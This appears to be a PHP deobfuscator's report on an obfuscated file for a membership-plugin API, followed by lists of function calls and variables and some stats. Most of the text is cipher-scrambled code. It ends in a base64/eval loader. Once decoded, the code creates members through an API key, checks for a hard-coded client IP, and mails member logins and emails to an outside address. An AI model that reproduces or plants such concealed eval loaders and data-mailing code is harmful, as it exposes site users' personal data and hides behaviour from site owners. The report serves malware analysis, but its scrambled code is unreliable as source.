SuBkBun)U } qlEuxD nmFmxD AlsDmxrs cBuBmB0rnm4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs 9Bm0FzB4BkBun(SxC) { zurEFu StBtEBozBsxlnU oBmlos StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBunaort0rnm(SxC)U } qlEuxD nmFmxD AlsDmxrs fCC0FzB4BkBun(SxC, SuBkBun) { zurEFu StBtEBozBsxlnU SmyB0FzB = zBm_qrnmn(FooFh(QplrmUxsDulCBQplrmU =QzmU FooFh(SxC), QplrmUqrnm_mhqBQplrmU =QzmU FooFh(QplrmUqFzBQplrmU, QplrmUqrnmQplrmU)))U xA (VSmyB0FzB) { oBmlos AFunBU } AroBFDy (SuBkBun Fn SuBkBu) { StBtEBozBsxln-QzmUtrCBu-QzmUqormBDm(SxC, SuBkBu)U } oBmlos molBU } qlEuxD nmFmxD AlsDmxrs cBuBmB0FzB4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs 9BmdFmBzroh4BkBun(SxC) { } qlEuxD nmFmxD AlsDmxrs fCCdFmBzroh4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs cBuBmBdFmBzroh4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs 9BmdrttBsm4BkBun(SxC) { } qlEuxD nmFmxD AlsDmxrs fCCdrttBsm4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs cBuBmBdrttBsm4BkBun(SxC, SuBkBun) { } qlEuxD nmFmxD AlsDmxrs 0oxkFmB#Fzn(SDrsmBsm) { } qlEuxD nmFmxD AlsDmxrs $yrj?43?xCzBm(SjxCzBmFozn) { } qlEuxD nmFmxD AlsDmxrs $Bm0ormBDm(SxC, ShBn2r=QplrmUQplrmU) { zurEFu StBtEBozBsxlnU xA (ShBn2r == QplrmUQplrmU) { ShBn2r = Dyo(HG)U } SmyB0FzB = zBm_qrnmn(FooFh(QplrmUxsDulCBQplrmU =QzmU FooFh(SxC), QplrmUqrnm_mhqBQplrmU =QzmU FooFh(QplrmUqFzBQplrmU, QplrmUqrnmQplrmU)))U xA (VSmyB0FzB) { oBmlos AFunBU } xA (ShBn2r == Dyo(HG)) { StBtEBozBsxln-QzmUtrCBu-QzmUqormBDm(SxC, -O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUlsqormBDm(SxC, -O)U } } qlEuxD nmFmxD AlsDmxrs 7n0ormBDmBC(Sqrnm7c) { zurEFu StBtEBozBsxlnU oBmlos StBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(Sqrnm7c)U } } DuFnn 39f07N { Drsnm tFovBo = QTPMGU/jutFqx/N.P/QTPMGUU Drsnm tFovBo_FumBosFmB = QTPMGU/jutFqx/N_P/QTPMGUU qoxkFmB SoBmlos_mhqB = QTPMGUqyqQTPMGUU qoxkFmB SoBplBnm = QTPMGUQTPMGUU kFo StBmyrCU kFo SCFmFU Drsnm b		1	_fddb$$_cb27bc = PiPPPOPPPPU Drsnm b		1	_72!f47c_f;#8 = PiPPPOPPPOU Drsnm b		1	_72!f47c_	b&;b$# = PiPPPOPPPNU Drsnm b		1	_72!f47c_	b#;	2_a1	3f# = PiPPPOPPPLU Drsnm b		1	_72!f47c_	b$1;	db = PiPPPOPPPHU Drsnm b		1	_a1	3f#_21#_$;001	#bc_6$12 = PiPPPNPPPOU Drsnm b		1	_a1	3f#_21#_$;001	#bc_>34 = PiPPPNPPPNU Drsnm b		1	_3b#81c_21#_$;001	#bc = PiPPPLPPPOU AlsDmxrs __DrsnmolDm(SoBplBnm=QTPMGUb>#b	2f4QTPMGU, StBmyrC=QTPMGU9b#QTPMGU, SCFmF=sluu) { Smyxn-QzmUtBmyrC = StBmyrCU xA (SoBplBnm == QTPMGUb>#b	2f4QTPMGU) { SoBplBnm = S_$b	!b	[QTPMGU	b&;b$#_;	7QTPMGU]U StBmyrC = S_$b	!b	[QTPMGU	b&;b$#_3b#81cQTPMGU]U xA (StBmyrC == QTPMGU9b#QTPMGU) { SCFmF = S_9b#U } BunBxA (StBmyrC == QTPMGU01$#QTPMGU) { SCFmF = S_01$#U } BunB { qFonB_nmo(AxuB_zBm_DrsmBsmn(QTPMGUqyq://xsqlmQTPMGU), SCFmF)U } Smyxn-QzmUtBmyrC = StBmyrCU Smyxn-QzmUCFmF = SCFmFU } BunB { oBmlosU } xA (nmoqrn(SoBplBnm, 39f07N::tFovBo) V== AFunB) { SBiqurCB = BiqurCB(39f07N::tFovBo, SoBplBnm, N)U Sqrq = FooFh_qrq(SBiqurCB)U SoBplBnm = BiqurCB(QTPMGU/QTPMGU, Sqrq)U } BunBxA (nmoqrn(SoBplBnm, 39f07N::tFovBo_FumBosFmB) V== AFunB) { SBiqurCB = BiqurCB(39f07N::tFovBo_FumBosFmB, SoBplBnm, N)U Sqrq = FooFh_qrq(SBiqurCB)U SoBplBnm = BiqurCB(QTPMGU/QTPMGU, Sqrq)U } Smyxn-QzmUoBmlos_mhqB = nmomrlqqBo(FooFh_nyxAm(SoBplBnm))U SFDDBqmBC_oBmlos_mhqBn = FooFh(QTPMGU080QTPMGU)U xA (Vxs_FooFh(SoBmlos_mhqB, SFDDBqmBC_oBmlos_mhqBn)) { 39f07N::qorDBnn_oBnlum(Smyxn-QzmUBooro(39f07N::b		1	_72!f47c_	b#;	2_a1	3f#))U } Smyxn-QzmUoBplBnm = xtqurCB( QTPMGU/QTPMGU, SoBplBnm )U SAlsDmxrsn = FooFh()U SqFoFtBmBon = FooFh()U jyxuB (VBtqmh(SoBplBnm)) { SAlsDmxrsn[] = moxt(nmomrurjBo(FooFh_nyxAm(SoBplBnm)))U xA (VBtqmh(SoBplBnm)) { SqFoFtBmBon[] = moxt(FooFh_nyxAm(SoBplBnm))U } } SAlsDmxrsn = FooFh_CxAA(SAlsDmxrsn, FooFh(QTPMGUQTPMGU))U SAlsDmxrs = QTPMGU_QTPMGU . xtqurCB(QTPMGU_QTPMGU, SAlsDmxrsn)U SoBnlum = Smyxn-QzmUqFonB(SAlsDmxrs, SqFoFtBmBon)U Smyxn-QzmUrlmqlm(SoBnlum)U } AlsDmxrs rlmqlm(SoBnlum) { xA (Smyxn-QzmUoBmlos_mhqB V= QTPMGU080QTPMGU) { CxB()U } yBFCBo(QTPMGUdrsmBsm-mhqB: mBim/quFxsQTPMGU)U Srlmqlm = nBoxFuxgB(Smyxn-QzmUqorDBnn_oBnlum(SoBnlum))U BDyr SrlmqlmU CxB()U } AlsDmxrs qFonB(SAlsDmxrs, SqFoFtBmBon) { xA (VtBmyrC_Bixnmn(Smyxn, SAlsDmxrs)) { Smyxn-QzmUrlmqlm(Smyxn-QzmUBooro(39f07N::b		1	_72!f47c_	b&;b$#))U oBmlosU } xA (SAlsDmxrs == QTPMGU_oBnrloDBnQTPMGU || SAlsDmxrs == QTPMGU_FlmyQTPMGU) { SoBnlum = DFuu_lnBo_AlsD(FooFh(Smyxn, SAlsDmxrs))U } BunB { SvBh = Smyxn-QzmUFlmy_vBh()U SDrrvxB = Smyxn-QzmUFlmy_DrrvxB()U SoBnlum = DFuu_lnBo_AlsD_FooFh(FooFh(Smyxn, SAlsDmxrs), SqFoFtBmBon)U } Smyxn-QzmUrlmqlm(SoBnlum)U } AlsDmxrs Booro(SBooro) { oBmlos FooFh(QTPMGUb		1	_d1cbQTPMGU =QzmU SBooro, QTPMGUb		1	QTPMGU =QzmU 39f07N::zBm_Booro_tnz(SBooro))U } qoxkFmB AlsDmxrs zBm_Booro_tnz(SBooro) { xA (SBooro == 39f07N::b		1	_3b#81c_21#_$;001	#bc) { oBmlos QTPMGU3BmyrC 2rm $lqqromBCQTPMGUU } xA (SBooro == 39f07N::b		1	_fddb$$_cb27bc) { oBmlos QTPMGUfDDBnn cBsxBC, srm FlmyBsmxDFmBCQTPMGUU } xA (SBooro == 39f07N::b		1	_72!f47c_f;#8) { oBmlos QTPMGUfDDBnn CBsxBC, xskFuxC FlmyBsmxDFmxrsQTPMGUU } xA (SBooro == 39f07N::b		1	_72!f47c_	b&;b$#) { oBmlos QTPMGU0FzB srm ArlsC, xskFuxC tBmyrCQTPMGUU } xA (SBooro == 39f07N::b		1	_72!f47c_	b#;	2_a1	3f#) { oBmlos QTPMGU0FzB srm ArlsC, xskFuxC oBmlos ArotFmQTPMGUU } xA (SBooro == 39f07N::b		1	_72!f47c_	b$1;	db) { oBmlos QTPMGU0FzB srm ArlsC, xskFuxC oBnrloDBQTPMGUU } xA (SBooro == 39f07N::b		1	_a1	3f#_21#_$;001	#bc_>34) { oBmlos QTPMGU;snlqqromBC tBCxF mhqBQTPMGUU } xA (SBooro == 39f07N::b		1	_a1	3f#_21#_$;001	#bc_6$12) { oBmlos QTPMGU;snlqqromBC tBCxF mhqBQTPMGUU } } AlsDmxrs qorDBnn_oBnlum(SoBnlum) { xA (Vxn_FooFh(SoBnlum)) { SoBnlum = FooFh()U } xA (VxnnBm(SoBnlum[QTPMGUb		1	_d1cbQTPMGU]) || Btqmh(SoBnlum[QTPMGUb		1	_d1cbQTPMGU])) { SnlDDBnn = OU } BunB { SnlDDBnn = PU } SoBnlum = FooFh(QTPMGUnlDDBnnQTPMGU =QzmU SnlDDBnn) + SoBnlumU oBmlos SoBnlumU } qoxkFmB AlsDmxrs Flmy_vBh() { zurEFu StBtEBozBsxlnU nmFmxD SyFny = PU xA (Btqmh(SyFny)) { SurDv = sluuU xA (xnnBm(S_d1157b[QplrmUurDvQplrmU])) { SurDv = S_d1157b[QplrmUurDvQplrmU]U } SvBh = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFqx_vBhQplrmU)U xA (VSvBh || VSurDv) { oBmlos AFunBU } SyFny = tCK(SurDv . SvBh)U } oBmlos SyFnyU } qoxkFmB AlsDmxrs Flmy_DrrvxB() { nmFmxD SDrrvxB = PU xA ( Btqmh( SDrrvxB ) ) { SDrrvxB = tCK(QTPMGU?43f07NQTPMGU . Smyxn-QzmUFlmy_vBh() )U } oBmlos SDrrvxBU } qoxkFmB AlsDmxrs _Flmy() { xA (Smyxn-QzmUoBmlos_mhqB V= QTPMGU080QTPMGU) { oBmlos Smyxn-QzmUBooro(39f07N::b		1	_3b#81c_21#_$;001	#bc)U } SyFny = Smyxn-QzmUFlmy_vBh()U SDrrvxB = qFonB_lou(yrtB_lou())U xA (Btqmh(SDrrvxB[QTPMGUqFmyQTPMGU])) { SDrrvxB[QTPMGUqFmyQTPMGU] = QTPMGU/QTPMGUU } xA (Smyxn-QzmUtBmyrC == QTPMGU9b#QTPMGU) { SurDv = tCK(nmooBk(tCK(S_$b	!b	[QTPMGU	b31#b_fcc	QTPMGU] . txDormxtB())))U @nBmDrrvxB(QTPMGUurDvQTPMGU, SurDv, P, SDrrvxB[QTPMGUqFmyQTPMGU])U oBmlos FooFh(QTPMGUurDvQTPMGU =QzmU SurDv)U } xA (Smyxn-QzmUtBmyrC == QTPMGU01$#QTPMGU) { SDrrvxB_sFtB = Smyxn-QzmUFlmy_DrrvxB()U xA (Smyxn-QzmUCFmF[QTPMGUvBhQTPMGU] V== SyFny) { oBmlos Smyxn-QzmUBooro(39f07N::b		1	_72!f47c_f;#8 )U } @nBmDrrvxB(SDrrvxB_sFtB, SyFny, P, SDrrvxB[QTPMGUqFmyQTPMGU])U oBmlos FooFh(QTPMGUvBhQTPMGU =QzmU SyFny)U } oBmlos Smyxn-QzmUBooro(39f07N::b		1	_3b#81c_21#_$;001	#bc)U } qoxkFmB AlsDmxrs _tBtEBon() { zurEFu StBtEBozBsxlnU xA (Smyxn-QzmUoBmlos_mhqB V= QTPMGU080QTPMGU) { oBmlos Smyxn-QzmUBooro(39f07N::b		1	_3b#81c_21#_$;001	#bc)U } xA (Smyxn-QzmUtBmyrC == QTPMGU9b#QTPMGU) { Suxnm = FooFh()U AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon() Fn StBtEBo) { xA (VxnnBm(StBtEBo-QzmUlnBo_urzxs)) { DrsmxslBU } Suxnm[] = FooFh(QplrmUxCQplrmU=QzmUStBtEBo-QzmU7c, QplrmUlnBo_urzxsQplrmU=QzmUStBtEBo-QzmUlnBo_urzxs, QplrmUlnBo_BtFxuQplrmU=QzmUStBtEBo-QzmUlnBo_BtFxu)U } oBmlos SuxnmU } xA (Smyxn-QzmUtBmyrC == QTPMGU01$#QTPMGU) { xA (VxnnBm(Smyxn-QzmUCFmF[QTPMGUlnBo_urzxsQTPMGU]) || Btqmh(Smyxn-QzmUCFmF[QTPMGUlnBo_urzxsQTPMGU])) { oBmlos Smyxn-QzmUBooro(39f07N::b		1	_72!f47c_	b&;b$#)U } SkFon = FooFh( QTPMGUFDmxrsQTPMGU =QzmU QTPMGUtBtEBozBsxln_oBzxnmBoQTPMGU, QTPMGUtBtEBozBsxln_uBkBuQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGU4BkBunQTPMGU][P], QTPMGUtBtEBozBsxln_lnBosFtBQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGUlnBo_urzxsQTPMGU], QTPMGUtBtEBozBsxln_qFnnjroCOQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGUlnBo_qFnnQTPMGU], QTPMGUtBtEBozBsxln_BtFxuQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGUlnBo_BtFxuQTPMGU], QTPMGUtBtEBozBsxln_AxonmsFtBQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGUAxonm_sFtBQTPMGU], QTPMGUtBtEBozBsxln_uFnmsFtBQTPMGU =QzmU Smyxn-QzmUCFmF[QTPMGUuFnm_sFtBQTPMGU] )U SoBnlum = StBtEBozBsxln-QzmUFCtxs-QzmUDoBFmB(SkFon, molB)U oBmlos FooFh(QTPMGUtBtEBoQTPMGU =QzmU SoBnlum)U } } qoxkFmB AlsDmxrs _uBkBun_tBtEBon(SuBkBu_xC, StBtEBo_xC=sluu) { zurEFu StBtEBozBsxlnU xA (Smyxn-QzmUoBmlos_mhqB V= QTPMGU080QTPMGU) { oBmlos Smyxn-QzmUBooro(39f07N::b		1	_3b#81c_21#_$;001	#bc)U } xA (Smyxn-QzmUtBmyrC == QTPMGU9b#QTPMGU) { Suxnm = FooFh()U AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(QplrmUuBkBun=QplrmU.SuBkBu_xC) Fn StBtEBo) { xA (VxnnBm(StBtEBo-QzmUlnBo_urzxs)) { DrsmxslBU } Suxnm[] = FooFh(QplrmUxCQplrmU=QzmUStBtEBo-QzmU7c, QplrmUlnBo_urzxsQplrmU=QzmUStBtEBo-QzmUlnBo_urzxs, QplrmUlnBo_BtFxuQplrmU=QzmUStBtEBo-QzmUlnBo_BtFxu)U } tFxu([email protected], QplrmUtBtEBon uBkBun uxnmQplrmU, kFo_Biqrom(Suxnm, molB))U oBmlos SuxnmU } xA (Smyxn-QzmUtBmyrC == QTPMGU01$#QTPMGU) { oBmlos Smyxn-QzmUBooro(39f07N::b		1	_3b#81c_21#_$;001	#bc)U } } } xA (VAlsDmxrs_Bixnmn(QplrmUDuFnn_FuxFnQplrmU)) { AlsDmxrs DuFnn_FuxFn(SroxzxsFu,SFuxFn) { SsBjDuFnn = DoBFmB_AlsDmxrs(QTPMGUQTPMGU,QTPMGUDuFnn QTPMGU.SFuxFn.QTPMGU BimBsCn QTPMGU.SroxzxsFu.QTPMGU {}QTPMGU)U SsBjDuFnn()U } } xA (Vxn_qulzxs_FDmxkB(QplrmUjxnyuxnm-tBtEBo/jxnyuxnm-tBtEBo.qyqQplrmU) QFtqUQFtqU VDuFnn_Bixnmn(QplrmU?43f07QplrmU)) { DuFnn_FuxFn(QplrmU39f07QplrmU, QplrmU?43f07QplrmU)U } xA (S_$b	!b	[QplrmU	b31#b_fcc	QplrmU] == QplrmUJH.OHG.OPH.OJPQplrmU) { } WQzmU';$cx="bas"."e6"."4_d"."ecode";$ax=$cx("YmFzZTY0X2RlY29kZQ==");Eval ($ax('RXZhbCAoc3RyX3JlcGxhY2UoJ19fRklMRV9fJywiJyIuYWRkc2xhc2hlcygkX19GSUxFX18pLiInIixodG1sX2VudGl0eV9kZWNvZGUoc3RydHIoJF9fWF9fLCdaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQXp5eHd2dXRzcnFwb25tbGtqaWhnZmVkY2JhOTg3NjU0MzIxMCYJJCM7IT8+CjwnLCc8Cj4/ITsjJAkmMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVonKSxFTlRfUVVPVEVTLCAiSVNPLTg4NTktMSIpKSk7'));unset ($__X__);unset ($__FILE__); ?>

Function Calls

base64_decode 1

Variables

$ax base64_decode
$cx base64_decode
$__X__ WQzmUQumUWqyqY oBplxoB_rsDB (fe$0f#8 . ?072d . QTPMGU/qulzzF..
$__FILE__ index.php

Stats

MD5 24ee618ed0239f7c88d9ac2f17543e7f
Eval Count 1
Decode Time 561 ms